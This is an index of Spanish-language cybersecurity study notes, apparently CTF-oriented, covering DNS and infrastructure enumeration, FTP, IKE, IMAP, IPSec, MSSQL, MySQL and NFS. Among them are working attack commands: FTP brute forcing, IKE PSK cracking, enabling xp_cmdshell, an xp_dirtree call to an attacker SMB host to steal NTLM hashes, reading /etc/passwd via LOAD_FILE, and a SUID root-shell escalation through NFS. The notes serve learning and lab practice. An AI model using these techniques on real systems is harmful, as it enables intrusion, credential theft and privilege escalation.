lo relevante:\n1 2 3 4 5 dig ns google.com +short ns4.google.com. ns3.google.com. ns1.google.com. ns2.google.com. Y cambiando ns por cualquier otro tipo de registro (SOA, A, CNAME, MX\u0026hellip;) podemos solicitar cualquier otro tipo de información:\n1 2 $ dig mx google.com +short 10 smtp.google.com AXFR # AXFR (Authoritative Transfer) es un mecanismo de transferencia de zona DNS usado para replicar bases de datos DNS entre servidores.\nNormalmente sirve para sincronizar info DNS entre servidores, pero si está mal configurado podemos solicitar un AXFR nosotros mismos, obteniendo un dump de la info dns de un servidor.\n1 2 3 dig axfr google.com +short ; Transfer failed. # No es raro que falle en este caso, google está bien protegido. Fuerza Bruta # Podemos usar herramientas como fierce o gobuster:\n1 2 3 4 5 6 7 8 9 10 11 $ ./fierce.py --domain google.com NS: ns3.google.com. ns2.google.com. ns4.google.com. ns1.google.com. SOA: ns1.google.com. (216.239.32.10) Zone: failure Wildcard: failure Found: 1.google.com. (172.217.19.46) Nearby: {\u0026#39;172.217.19.41\u0026#39;: \u0026#39;mrs08s03-in-f9.1e100.net.\u0026#39;, \u0026#39;172.217.19.42\u0026#39;: \u0026#39;mrs08s03-in-f10.1e100.net.\u0026#39;, \u0026#39;172.217.19.43\u0026#39;: \u0026#39;ham02s11-in-f43.1e100.net.\u0026#39;, [SNIP]... 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ gobuster dns -d google.com -w /usr/share/wordlists/n0kovo_subdomains.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Domain: google.com [+] Threads: 10 [+] Timeout: 1s [+] Wordlist: /usr/share/wordlists/n0kovo_subdomains.txt =============================================================== Starting gobuster in DNS enumeration mode =============================================================== Found: mail.google.com Found: www.google.com Found: m.google.com Found: image.google.com Found: api.google.com Found: images.google.com ... Hostname Reverse Lookup # Para entornos AD, es muy probable que necesitemos un hostname y no podamos autenticarnos (p.ej por Kerberos) simplemente contra una IP. Para ello, si estamos ante un DC con el puerto DNS (53) abierto, podemos probar a hacer un DNS reverse lookup:\n1 2 3 4 5 6 nslookup \u0026gt; server 10.10.11.87 \u0026gt; 127.0.0.1 \u0026gt; 127.0.0.2 \u0026gt; 10.10.11.87 # Probamos a ver \u0026#34;cómo se hace llamar\u0026#34; el servidor DNS a sí mismo para conseguir un hostname. ","externalUrl":null,"permalink":"/notas/protocolos/dns/","section":"Notas","summary":"Domain Name System # Resumen # El protocolo DNS es un sistema distribuido que traduce nombres de dominio (p.ej google.com) a direcciones IP (142.250.201.14).\nPor defecto, el protocolo DNS no tiene cifrado, por lo que suelen usarse DoT (DNS over TLS) y DoH (DNS over HTTPS)\n","title":"DNS","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/dns/","section":"Tags","summary":"","title":"DNS","type":"tags"},{"content":" Introducción # La enumeración de la infraestructura de una empresa u organización empieza desde el punto de vista más global, desde los sistemas autónomos (AS), y se va volviendo más específico hasta llegar a IPs y servidores específicos.\n1. Sistemas Autónomos (AS) # Un AS es una colección de redes IP (rangos CIDR) que están bajo el control de una misma entidad administrativa, como pueden ser ISPs o empresas.\nLos rangos que pertenecen a cada AS son necesariamente públicos para que los AS puedan comunicarse entre sí y sepan hacia dónde enrutar cada paquete. Por ello podemos usar bgp.tools, bgp.he.net o herramientas automatizadas como Metabigor para encontrar cuál es el AS (si tiene uno propio) de una organización y, dentro de ese AS, cuál es el rango de IPs que le pertenece.\nEjemplo: Mercadona # P.ej, podemos considerar la empresa Mercadona, que es lo suficientemente grande como para tener su propio AS, pero no es una multinacional dispersa que complique el análisis.\nSi miramos bgp.tools, veremos que \u0026ldquo;Mercadona S.A\u0026rdquo; tiene el ASN 201976. Nos lo apuntamos.\nSi entramos al apartado de prefijos de ese AS específico, veremos 12 rangos de IPs. En un análisis real también los apuntaríamos.\n2. IPs, dominios # Ahora que tenemos todos los rangos de IPs, tenemos que conseguir encontrar todos los dominios, subdominios e IPs posibles dentro de nuestro scope. Dado que una IP puede resolver a varios dominios y un dominio puede resolver a varias IPs, haremos lo siguiente de forma cíclica:\nReverse DNS: Para las IPs descubiertas, buscamos registros PTR para ver a qué dominios están asociadas. Esto también puede hacerse en las páginas anteriores. DNS Lookup: Para los dominios descubiertos en el paso 1, hacemos DNS lookups para resolverlos a direcciones IP. Mientras hacemos esto (podemos usar herramientas que lo automatizan), podemos usar Shodan o Censys para encontrar servicios expuestos que correspondan a dominios encontrados o que contengan el nombre de nuestra organización objetivo.\nCertificados: Cuando ya tengamos unos cuantos dominios, podemos usar crt.sh para encontrar más dominios y subdominios asociados a certificados SSL/TLS que pueden no estar listados en DNS (P.ej entornos de pruebas o desarrollo). Iterar: Cada dominio/subdominio/IP nuevo entra al paso 1, repitiéndose el bucle. Fin del bucle: Mientras se encuentre una cantidad relevante de información en cada iteración, el bucle sigue. Cuando ya se considere que la información conseguida no es suficiente para que merezca la pena seguir o si se tiene lo que se buscaba, se puede concluir la enumeración. 3. Infraestructura en la nube # Cada vez es más frecuente que parte de la infraestructura de una organización esté alojada en la nube y no en direcciones de su ASN. Esto significa que buscando sólamente en ese ASN potencialmente nos perderíamos gran parte de la información.\nAdemás, en este caso deja de ser posible el bucle de DNS Lookups, dado que el AS es del proveedor y no de nuestro objetivo. Por ello aquí la idea es buscar huellas de identidad de nuestro objetivo, independientemente de dónde esté hosteado. Esto significa que podemos buscar:\n3.1 Certificados SSL/TLS # Rara vez se emiten certificados SSL/TLS para subdominios individuales. Así como hemos buscado antes en crt.sh, podemos buscar en otras páginas (Shodan/Censys) certificados con el nombre de la empresa (u otros campos en común). P.ej, en Censys:\n1 services.tls.certificates.leaf_data.subject.organization: \u0026#34;NombreEmpresa\u0026#34; Si ejecutamos esto para Mercadona, encontraremos IPs de ASNs de Oracle o Google que no hubiésemos visto solo con la metodología anterior.\n3.2 Permutaciones de nombres # Si tenemos un subdominio específico confirmado, podemos resolverlo por DNS. Si el subdominio corresponde a un recurso en la nube, rara vez apuntará a una IP (A), sino que lo normal es que sea un alias (CNAME) a un subdominio del proveedor.\nSi conseguimos un subdominio del proveedor (normalmente con un nombre puesto por alguien de la organización), podremos ver si hay algún patrón que podamos mantener para ir probando otros subdominios.\n3.3 Favicon Hashing # Muchos servicios de la empresa, tanto en la nube como en su infraestructura propia, tendrán el mismo favicon. Por lo que podremos hacer lo siguiente:\nCalcular el hash de favicon.ico de una página de la empresa (p.ej la web principal) Buscar en Shodan el hash (p.ej http.favicon.hash:\u0026lt;HASH_AQUI\u0026gt;) Shodan mostrará cualquier servidor con el mismo favicon. ","externalUrl":null,"permalink":"/notas/tecnicas/inf-enum/","section":"Notas","summary":"Introducción # La enumeración de la infraestructura de una empresa u organización empieza desde el punto de vista más global, desde los sistemas autónomos (AS), y se va volviendo más específico hasta llegar a IPs y servidores específicos.\n1. Sistemas Autónomos (AS) # Un AS es una colección de redes IP (rangos CIDR) que están bajo el control de una misma entidad administrativa, como pueden ser ISPs o empresas.\n","title":"Enumeración de Infraestructuras","type":"notas"},{"content":" File Transfer Protocol # Resumen # FTP es un protocolo de la capa de aplicación que permite transferir archivos entre dispositivos. Opera bajo una arquitectura cliente-servidor, usando dos canales distintos, uno de \u0026ldquo;control\u0026rdquo; (comandos) y otro para transferir los datos. Los datos se transmiten en texto plano, para cifrado se usa SFTP.\nPuertos TCP 20, 21. 21 -\u0026gt; Control y autenticación. Aquí se listan los directorios, se solicitan archivos\u0026hellip; 20 -\u0026gt; Transferencia de datos Tiene 2 modos de conexión:\nActivo: Cliente inicia conexión e indica a qué puerto de éste debe conectarse el servidor para la transferencia de datos. Si hay firewall en el lado del cliente puede rechazarse la solicitud del servidor. Pasivo: El cliente inicia la conexión, pero es el servidor el que le indica a qué puerto de éste debe intentar conectarse el cliente. Ahora, como es el cliente el que se conecta al servidor (para transmitir los datos), el firewall no bloqueará ninguna conexión del servidor. Enumeración # 1 nmap -sT -Pn -n -sVC -p21 10.10.11.87 Conexión # Para conectarse a FTP (Conociendo las credenciales de user):\n1 2 ftp user@10.10.11.87 Password for user: ****** Para conectarse a FTP como usuario anonymous (si está permitido):\n1 2 ftp anonymous@10.10.11.87 Password for anonymous: [Enter, dejando el campo vacío] Bruteforcing # Si se conoce un usuario (o una contraseña), es posible hacer bruteforcing o password spraying:\n1 hydra -l [User] -P [Wordlist] ftp://[IP] FTP Bounce Attack # En el modo activo de FTP, el cliente puede usar el comando PORT para especificar a qué dirección y puerto debe conectarse el servidor para la transmisión de datos. Esto, si está mal configurado, puede permitir que el cliente (o atacante) especifique una dirección IP diferente a la suya propia y un puerto arbitrario al que el servidor tratará de conectarse, sirviendo como proxy para la solicitud y avisando de si el puerto está o no abierto.\nEsto puede usarse para escanear puertos internos del servidor o de una subred, permitiendo además evadir firewalls e IDS ya que las solicitudes provienen del servidor FTP y no de nuestra IP.\nAnálisis bounce básico con nmap:\n1 nmap -b admin:password@[FTP Server IP] [Bounced IP] ","externalUrl":null,"permalink":"/notas/protocolos/ftp/","section":"Notas","summary":"File Transfer Protocol # Resumen # FTP es un protocolo de la capa de aplicación que permite transferir archivos entre dispositivos. Opera bajo una arquitectura cliente-servidor, usando dos canales distintos, uno de “control” (comandos) y otro para transferir los datos. Los datos se transmiten en texto plano, para cifrado se usa SFTP.\n","title":"FTP","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/ftp/","section":"Tags","summary":"","title":"FTP","type":"tags"},{"content":" Internet Key Exchange # Resumen # Protocolo encargado de establecer asociaciones de seguridad (SA) entre dos puntos, normalmente para el posterior uso de IPSec.\nPuertos: UDP\\500, UDP\\4500. IKEv1 # Nota: ISAKMP vs IKE Aunque se usan como sinónimos, técnicamente no son lo mismo. ISAKMP es el estándar teórico de cómo deben negociarse las cosas (sin especificar algoritmos) mientras que IKE es la implementación real de las reglas de ISAKMP, y, a efectos prácticos, la única que triunfó.\nFuncionamiento: Fases # La creación de una SA tiene lugar en varias fases:\nFase 1 (Autenticación de máquinas): La idea es crear un túnel seguro solo para negociar lo demás, no para datos. Este primer contrato de túnel se llama IKE SA o ISAKMP SA.\nPara crearlo hay 2 Modos: Principal (6 mensajes) o Agresivo (3 mensajes, desvela identidades, menos seguro). Se negocian varias políticas (HAGLE): Hash, Autenticación, Grupo DH, Lifetime, Encryption. (P.ej: SHA256,PSK,19,8 horas,AES) Se autentica cada máquina por medio de un certificado digital o un PSK Fase 1.5 (XAuth): No obligatoria, pero se usa para, a través del túnel creado en el paso 1, verificar la identidad del usuario que intenta conectarse, solicitando usuario y contraseña, PIN, token u otro. Esta autenticación suele ir conectada por detrás a un server AD, RADIUS o similar.\nFase 2: Ahora que tanto máquina como (opcionalmente) humano están verificados, se procede a crear el contrato final que usará IPSec para comunicarse.\nSe negocian algoritmos de cifrado para ESP, que pueden ser diferentes a los de la fase 1. Se generan (si PFS está activado) nuevas claves DH para el cifrado que solo usará IPSec Se crean dos túneles unidireccionales: Firewall -\u0026gt; Usuario y Usuario -\u0026gt; Firewall Transformaciones # Son sets de reglas que el cliente propone al servidor. Dado que el servidor suele tener una lista estricta de reglas permitidas, el cliente debe adivinar exactamente qué combinaciones (al menos una de ellas) acepta el servidor.\nUna transformación consta de:\nAlgoritmo de cifrado: Para los datos enviados (DES, 3DES, AES256\u0026hellip;) Algoritmo de hash: Para comprobar la integridad de los datos (MD5,SHA1\u0026hellip;) Método de Auth: PSK, Certificados\u0026hellip; Grupo de Diffie-Hellman: Complejidad usada para generar las claves secretas compartidas. (1,2,14\u0026hellip;) Tiempo de vida: Cuánto dura la clave antes de tener que generar una nueva. IKEv2 # Nota: Vulnerabilidades La mayoría de vulnerabilidades y vectores de ataque aquí se dan sólamente para la versión 1 de IKE. El mundo se mueve hacia IKEv2, que corrige muchos de los errores de la versión anterior.\nFuncionamiento: Fases # Las fases de IKEv2 son más homogéneas que las de IKEv1, ya no hay modo agresivo o modo normal, todo pasa en 4 paquetes.\nTransformaciones # El concepto de transformaciones sigue siendo el mismo, lo único que cambia es la forma de encontrar una buena.\nIKEv1: El cliente enviaba una transformación específica y el servidor decía si la aceptaba o no. Así hasta que aceptaba una. IKEv2: El cliente manda qué opciones acepta en general, y el servidor elige una transformación que él quiera que cumpla esas opciones. Conseguir y crackear PSK (IKEv1) # Si el servidor usa IKEv1 en modo agresivo, es posible conseguir el hash del PSK para luego crackearlo. Para ello necesitamos el FQDN del usuario del que queremos conseguir el PSK (p.ej ike@expressway.htb):\n1 ike-scan -M --aggressive -n \u0026lt;FQDN_usuario\u0026gt; --pskcrack=hash.txt 10.10.11.87 Esto guardará el hash en hash.txt. En teoría podemos usar john o hashcat para descifrarlo, pero generalmente suele funcionar mejor psk-crack:\n1 psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt ","externalUrl":null,"permalink":"/notas/protocolos/ike/","section":"Notas","summary":"Internet Key Exchange # Resumen # Protocolo encargado de establecer asociaciones de seguridad (SA) entre dos puntos, normalmente para el posterior uso de IPSec.\nPuertos: UDP\\500, UDP\\4500. IKEv1 # Nota: ISAKMP vs IKE Aunque se usan como sinónimos, técnicamente no son lo mismo. ISAKMP es el estándar teórico de cómo deben negociarse las cosas (sin especificar algoritmos) mientras que IKE es la implementación real de las reglas de ISAKMP, y, a efectos prácticos, la única que triunfó.\n","title":"IKE","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/ike/","section":"Tags","summary":"","title":"IKE","type":"tags"},{"content":" Internet Message Access Protocol # Resumen # IMAP es un protocolo de entrada (pull) que permite que los clientes accedan al correo electrónico disponible en sus cuentas una vez este ha sido entregado por el servidor SMTP.\nLas acciones realizadas sobre el correo (Archivar, borrar, etc.) en IMAP se realizan en el servidor y se sincronizan en todos los clientes.\nPuertos TCP 143, 993. 143 -\u0026gt; Puerto por defecto para IMAP 993 -\u0026gt; Puerto para IMAP cifrado (IMAPS) Conexión CLI # Podemos conectarnos con curl o netcat:\n1 2 $ curl -k imap(s)://10.10.11.87 --user usuario@contraseña $ ncat 10.10.11.87 143 Tras conectarnos:\nLOGIN usuario contraseña ⇒ Inicio sesión SELECT carpeta ⇒ Seleccionar carpeta FETCH ⇒ Sacar email específico SEARCH ⇒ Buscar EXAMINE ⇒ Ver carpetas LOGOUT ⇒ Salir Si la conexión es cifrada (IMAPS, p993), podemos usar openssl:\n1 $ openssl s_client -connect 10.10.11.87:993 Conexión GUI # Para conectarnos a un servidor IMAPS desde un entorno gráfico, podemos usar Thunderbird o Gnome Evolution si conocemos unas credenciales válidas.\n","externalUrl":null,"permalink":"/notas/protocolos/imap/imap/","section":"Notas","summary":"Internet Message Access Protocol # Resumen # IMAP es un protocolo de entrada (pull) que permite que los clientes accedan al correo electrónico disponible en sus cuentas una vez este ha sido entregado por el servidor SMTP.\nLas acciones realizadas sobre el correo (Archivar, borrar, etc.) en IMAP se realizan en el servidor y se sincronizan en todos los clientes.\n","title":"IMAP","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/imap/","section":"Tags","summary":"","title":"IMAP","type":"tags"},{"content":"","externalUrl":null,"permalink":"/tags/infrastructure/","section":"Tags","summary":"","title":"Infrastructure","type":"tags"},{"content":" Internet Protocol security # Resumen # IPSec es un conjunto de protocolos encargados de proteger comunicaciones sobre IP, autenticando y cifrando cada paquete IP de un flujo de datos. Trabaja en la capa de red. A diferencia de SSL/TLS, que cifran el contenido pero no el destinatario, IPSec cifra el paquete de red entero.\nDado que IPSec no es un protocolo específico sino un conjunto, conviene detallar algunos de lo que lo forman.\nNota: Comparación con HTTP/QUIC Otros protocolos como HTTP/QUIC tienen integrado directamente el cifrado con TLS (actualmente TLS1.3), que se encarga de negociar las claves DH y cifrar los paquetes con AES, pero esto es porque tales protocolos funcionan en las capas 4-7 (OSI) y están hechos para proteger procesos específicos. Por otro lado, IP e IPSec (Capa 3) son stateless, no tienen el concepto de conexiones/handshakes, IPSec sólamente puede coger un paquete IP entero (o casi) y cifrarlo/autenticarlo, pero para llegar a un acuerdo acerca de cómo, se requiere otro protocolo, IKE.\nAuthentication Header (AH) -\u0026gt; Integridad # Firma criptográficamente todo el paquete IP, incluyendo cabeceras, por lo que se encarga de asegurar que el paquete proviene del destinatario y que no ha sido manipulado, pero NO cifra el payload.\nAñade un encabezado con datos de autenticación. Si el hash del payload no coincide con el encabezado, se sabe que el paquete ha sido manipulado. Nota: Incompatibilidad con NAT Dado que AH firma todo el paquete, incluyendo cabeceras IP originales, si un dispositivo está tras un NAT, se manipularán los headers de los paquetes que vayan hacia él, por lo que se detectará una manipulación, aunque no maliciosa, del paquete y el router lo descartará. Por esto, AH no es compatible con NAT (y no suele usarse, prefiriéndose ESP).\nEncapsulated Security Payload (ESP) -\u0026gt; Cifrado # IPSec tiene dos modos de funcionamiento:\nModo túnel: Normalmente de PC \u0026lt;-\u0026gt; Firewall o de Router \u0026lt;-\u0026gt; Router, se cifra todo el paquete, incluyendo cabecera IP, y se le pone otra nueva apuntando al Firewall/Router. Modo Transporte: De PC \u0026lt;-\u0026gt; PC, sin pasarelas VPN intermedias. IPSec coge el paquete, deja la cabecera IP intacta y cifra solo el payload. Internet Key Exchange (IKE) -\u0026gt; Negociación # Negocia y establece Asociaciones de Seguridad (SA) para IPSec. Las SA son contratos matemáticos que representan el conjunto de reglas y parámetros que ambos extremos han acordado para poder entenderse y proteger el tráfico. Para más info mirar IKE\n","externalUrl":null,"permalink":"/notas/protocolos/ipsec/","section":"Notas","summary":"Internet Protocol security # Resumen # IPSec es un conjunto de protocolos encargados de proteger comunicaciones sobre IP, autenticando y cifrando cada paquete IP de un flujo de datos. Trabaja en la capa de red. A diferencia de SSL/TLS, que cifran el contenido pero no el destinatario, IPSec cifra el paquete de red entero.\n","title":"IPSec","type":"notas"},{"content":" Microsoft SQL # Resumen # Base de datos y protocolo de Microsoft, closed source.\nPuerto TCP 1433, 2433. Tiene 2 modos de autenticación, el modo \u0026ldquo;Windows\u0026rdquo; y el modo \u0026ldquo;mixto\u0026rdquo;.\nWindows: Las cuentas con las que se inicia sesión son las de Windows. MSSQL delega y confía en la autenticación realizada por el SO (O por AD). Activado por defecto, más seguro. Mixto: Hay tanto cuentas de Windows como cuentas que solo existen en el entorno de MSSQL. Útil para cuando se hacen conexiones con terceros. Conexión # Desde Windows: Es posible conectarse con la aplicación cliente oficial SMSS, es posible encontrarla instalada en alguna máquina vulnerada (con, posiblemente, credenciales a alguna cuenta) También podemos usar sqlcmd en el CLI. Desde Linux podemos usar Impacket-mssqlclient o sqsh (CLI) y dbeaver (GUI) 1 mssqlclient.py dominio/admin:password@10.10.11.87 -port 1433 1 sqsh -S 10.10.11.87 -U admin -P password Enumeración de Mode de Auth # Para conocer el modo de autenticación (windows/mixto) necesitaremos una cuenta en el servidor SQL, no tiene por qué ser privilegiada, dado que cualquier usuario, por defecto, tiene el rol public y tiene permiso para ver las propiedades básicas del servidor. Necesitamos este query:\n1 SELECT SERVERPROPERTY(\u0026#39;IsIntegratedSecurityOnly\u0026#39;); Desde dbeaver: Click derecho al nodo mayor \u0026gt; SQL Editor \u0026gt; New SQL Script y escribimos como esto, guardando el resultado en una variable, luego lo ejecutamos. P.ej:\n1 SELECT SERVERPROPERTY(\u0026#39;IsIntegratedSecurityOnly\u0026#39;) AS ModoAuth; Según el valor de retorno:\n0: Modo mixto 1: Modo Windows Listado de DBs y Tablas # Para listar bases de datos:\n1 SELECT name FROM sys.databases; Para listar tablas en esa base de datos:\n1 2 use database3; SELECT name FROM sys.tables; Ejecución de comandos # MSSQL dispone de un método para ejecutar comandos en el servidor, con los mismos privilegios con los que se ejecuta el proceso de mssql, este método es xp_cmdshell.\n1 2 3 4 5 6 xp_cmdshell \u0026#39;comando\u0026#39; GO -- O alternativamente: EXEC xp_cmdshell \u0026#39;comando\u0026#39;; Si xp_cmdshell está desactivado, podemos activarlo así:\n1 2 3 4 5 6 7 8 9 10 11 12 -- Permitir edición de ajustes avanzados (que suelen estar ocultos) EXECUTE sp_configure \u0026#39;show advanced options\u0026#39;, 1 GO -- Actualizar configuración sin tener que reiniciar el server RECONFIGURE GO -- Habilitar xp_cmdshell EXECUTE sp_configure \u0026#39;xp_cmdshell\u0026#39;, 1 GO -- Actualizar configuración sin tener que reiniciar el server RECONFIGURE GO O también:\n1 EXEC sp_configure \u0026#39;show advanced options\u0026#39;, 1; RECONFIGURE; EXEC sp_configure \u0026#39;xp_cmdshell\u0026#39;, 1; RECONFIGURE; Impacket-mssqlclient tiene un \u0026ldquo;macro\u0026rdquo; que automatiza el (des)activar xp_cmdshell:\n1 2 -- Usando mssqlclient.py como cliente SQL (htbdbuser guest@tempdb)\u0026gt; enable_xp_cmdshell Robo de Hash con XP_DIRTREE # xp_dirtree es un comando de mssql que permite listar los archivos en un share SMB. El problema de este procedimiento es que para conectarse a ese share SMB:\nEl servicio MSSQL necesitará privilegios elevados de la DB para comunicarse por la red Tendrá que compartir su hash NTLMv2 para autenticarse en SMB Esto implica que, si con responder (u otro programa) creamos un share SMB falso y desde una cuenta no privilegiada de MSSQL nos tratamos de conectar, podremos conseguir el hash de la cuenta de servicio del servidor SQL 1 2 3 sudo responder -I eth0 ... [+] Listening for events... Y desde el servidor SQL:\n1 EXEC master..xp_dirtree \u0026#39;\\\\IP_ATACANTE\\Share\u0026#39;; En Responder veremos:\n1 2 3 4 ... [SMB] NTLMv2-SSP Client : 10.10.11.87 [SMB] NTLMv2-SSP Username : WIN-02\\mssqlsvc [SMB] NTLMv2-SSP Hash : mssqlsvc::WIN-02:aa4b2... [resto del hash] Ese NTLMv2-SSP Hash podremos crackearlo offline\n","externalUrl":null,"permalink":"/notas/protocolos/mssql/","section":"Notas","summary":"Microsoft SQL # Resumen # Base de datos y protocolo de Microsoft, closed source.\nPuerto TCP 1433, 2433. Tiene 2 modos de autenticación, el modo “Windows” y el modo “mixto”.\nWindows: Las cuentas con las que se inicia sesión son las de Windows. MSSQL delega y confía en la autenticación realizada por el SO (O por AD). Activado por defecto, más seguro. Mixto: Hay tanto cuentas de Windows como cuentas que solo existen en el entorno de MSSQL. Útil para cuando se hacen conexiones con terceros. Conexión # Desde Windows: Es posible conectarse con la aplicación cliente oficial SMSS, es posible encontrarla instalada en alguna máquina vulnerada (con, posiblemente, credenciales a alguna cuenta) También podemos usar sqlcmd en el CLI. Desde Linux podemos usar Impacket-mssqlclient o sqsh (CLI) y dbeaver (GUI) 1 mssqlclient.py dominio/admin:password@10.10.11.87 -port 1433 1 sqsh -S 10.10.11.87 -U admin -P password Enumeración de Mode de Auth # Para conocer el modo de autenticación (windows/mixto) necesitaremos una cuenta en el servidor SQL, no tiene por qué ser privilegiada, dado que cualquier usuario, por defecto, tiene el rol public y tiene permiso para ver las propiedades básicas del servidor. Necesitamos este query:\n","title":"MSSQL","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/mssql/","section":"Tags","summary":"","title":"MSSQL","type":"tags"},{"content":" MySQL # Resumen # Base de datos y protocolo de Oracle, closed source. (Su alternativa equivalente es MariaDB, que sí es de código abierto)\nPuerto TCP 3306. Conexión # 1 2 mysql 10.10.11.87 -u \u0026#39;user\u0026#39; -p\u0026#39;password\u0026#39; # No hay espacio entre -p y la contraseña Lectura \u0026amp; Escritura # Si ya tenemos acceso a la consola de MySQL y queremos manipular algún archivo, primero debemos comprobar que tenemos permisos para ello, que se controlan con la variable secure_file_priv:\n1 2 3 4 5 6 SHOW variables LIKE \u0026#39;secure_file_priv`; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+ El valor de la variable puede significar varias cosas:\n\u0026quot;(vacío)\u0026quot;: Se permite R/W (está sin configurar). Nombre de directorio: Se permite R/W solo en ese directorio (y sus archivos) NULL: No se permite R/W Para escribir en un archivo:\n1 SELECT \u0026#34;contenido del archivo\u0026#34; INTO OUTFILE \u0026#39;Archivo_destino.txt\u0026#39;; Para leer un archivo:\n1 select LOAD_FILE(\u0026#34;/etc/passwd\u0026#34;); ","externalUrl":null,"permalink":"/notas/protocolos/mysql/","section":"Notas","summary":"MySQL # Resumen # Base de datos y protocolo de Oracle, closed source. (Su alternativa equivalente es MariaDB, que sí es de código abierto)\nPuerto TCP 3306. Conexión # 1 2 mysql 10.10.11.87 -u 'user' -p'password' # No hay espacio entre -p y la contraseña Lectura \u0026 Escritura # Si ya tenemos acceso a la consola de MySQL y queremos manipular algún archivo, primero debemos comprobar que tenemos permisos para ello, que se controlan con la variable secure_file_priv:\n","title":"MySQL","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/mysql/","section":"Tags","summary":"","title":"MySQL","type":"tags"},{"content":" Network Basic Input/Output System # Resumen # NetBIOS es una interfaz que permite que los dispositivos se comuniquen entre sí en una LAN. Se encarga de mantener conexiones entre ellos.\nNota: Obsolescencia Gran parte de esto no es relevante porque, si NetBIOS está activo alguna vez en algún servidor, es probablemente porque SMB (sobre TCP/IP, puerto 445) también lo está y se busca mantener compatibilidad con equipos legacy de la red, pero en sí NetBIOS ya prácticamente no se usa.\nDicho esto, hay que destacar que NetBIOS es completamente independiente de SMB.\nUsa principalmente los siguientes puertos:\nUDP/137 -\u0026gt; Servicio de nombres: Resuelve nombres NetBIOS en IPs UDP/138 -\u0026gt; Servicio de datagramas: Permite comms. sin conexión pero con más funcionalidades que UDP sin más. TCP/139 -\u0026gt; Servicio de sesión: Conexiones punto a punto, SMBv1 se ejecuta sobre este. ","externalUrl":null,"permalink":"/notas/protocolos/netbios/","section":"Notas","summary":"Network Basic Input/Output System # Resumen # NetBIOS es una interfaz que permite que los dispositivos se comuniquen entre sí en una LAN. Se encarga de mantener conexiones entre ellos.\nNota: Obsolescencia Gran parte de esto no es relevante porque, si NetBIOS está activo alguna vez en algún servidor, es probablemente porque SMB (sobre TCP/IP, puerto 445) también lo está y se busca mantener compatibilidad con equipos legacy de la red, pero en sí NetBIOS ya prácticamente no se usa.\n","title":"NetBIOS","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/netbios/","section":"Tags","summary":"","title":"NetBIOS","type":"tags"},{"content":" Network File System # Resumen # NFS es un protocolo de nivel de aplicación que permite compartir archivos y directorios entre diferentes sistemas. El cliente puede montar en su dispositivo un sistema de archivos NFS como su fuese local.\nUsa los siguientes puertos:\nPuerto TCP 2049. Puerto estándar de NFS. A través de este puerto los clientes pueden montar filesystems y leer y escribir en archivos. Puerto TCP 111. Usado por rpcbind, que actúa como mapeador de puertos para servicios RPC de NFS como mountd o lockd (No tiene relación con el RPC del puerto 135, son implementaciones diferentes.) En NFSv4 no hace falta, todas las funciones de montaje y bloqueo se hacen sobre el puerto 2049. No Root Squash # Explicación # Por defecto, NFS usa la opción root_squash, que hace que todas las peticiones enviadas desde el cliente al servidor se conviertan en peticiones del usuario nobody (o nfsnobody), esto significa que, aunque en nuestra máquina local seamos root, no necesariamente tendremos permisos root sobre un sistema de archivos montado mediante NFS.\nLa opción no_root_squash desactiva esto. Esto significa que, si el cliente es root localmente, ahora los accesos al filesystem NFS también se harán como root, lo que implica tener privilegios de administrador sobre todos los archivos compartidos.\nEnumeración de No Root Squash # No hay forma directa de saber si no_root_squash está activado, por lo que lo más confiable es comprobarlo probando directamente: Montar el share como root localmente, intentar, por ejemplo, crear un archivo, y luego ver si se mantiene el UID 0 (propiedad de root) en el filesystem.\n1 2 3 4 5 6 7 8 9 # Por ejemplo: # Montar filesystem sudo mount -t nfs 10.10.11.87:/share /mnt/test # Crear archivo como root sudo touch /mnt/test/testfile.txt # Comprobar si pertenece a root. ls -la /mnt/test/testfile.txt Explotación de No Root Squash # Podemos conseguir elevar privilegios (necesitaremos un acceso inicial) pasando un binario que nos dé un shell.\nPrimero creamos un binario que nos dé un shell. (Ejemplo de verylazytech):\n1 2 3 echo -e \u0026#39;#include \u0026lt;stdio.h\u0026gt;\\n#include \u0026lt;stdlib.h\u0026gt;\\n#include \u0026lt;unistd.h\u0026gt;\\nint main(){setuid(0); system(\u0026#34;/bin/bash\u0026#34;);}\u0026#39; \u0026gt; rootsh.c gcc rootsh.c -o rootsh chmod +s rootsh Luego lo metemos en el share:\n1 mv rootsh /mnt/nfs/ Y finalmente en la máquina objetivo (p.ej, desde ssh), lo ejecutamos:\n1 2 user $\u0026gt; /home/user/nfsshare/rootsh root #\u0026gt; Enumeración # Para enumerar los shares disponibles:\n1 showmount -e 10.10.11.87 Para montar uno de los shares disponibles:\n1 mount -t nfs 10.10.11.87:/share /mnt/nfs -o nolock -o nolock sirve para deshabilitar el file locking. En entornos con varios accesos simultáneos (desde varios clientes) al mismo recurso, esto puede ser problemático, pero en un CTF suele resolver problemas al montar un share.\n","externalUrl":null,"permalink":"/notas/protocolos/nfs/","section":"Notas","summary":"Network File System # Resumen # NFS es un protocolo de nivel de aplicación que permite compartir archivos y directorios entre diferentes sistemas. El cliente puede montar en su dispositivo un sistema de archivos NFS como su fuese local.\nUsa los siguientes puertos:\nPuerto TCP 2049. Puerto estándar de NFS. A través de este puerto los clientes pueden montar filesystems y leer y escribir en archivos. Puerto TCP 111. Usado por rpcbind, que actúa como mapeador de puertos para servicios RPC de NFS como mountd o lockd (No tiene relación con el RPC del puerto 135, son implementaciones diferentes.) En NFSv4 no hace falta, todas las funciones de montaje y bloqueo se hacen sobre el puerto 2049. No Root Squash # Explicación # Por defecto, NFS usa la opción root_squash, que hace que todas las peticiones enviadas desde el cliente al servidor se conviertan en peticiones del usuario nobody (o nfsnobody), esto significa que, aunque en nuestra máquina local seamos root, no necesariamente tendremos permisos root sobre un sistema de archivos montado mediante NFS.\n","title":"NFS","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/nfs/","section":"Tags","summary":"","title":"NFS","type":"tags"},{"content":"Notas de ciberseguridad, informática y posiblemente más cosas 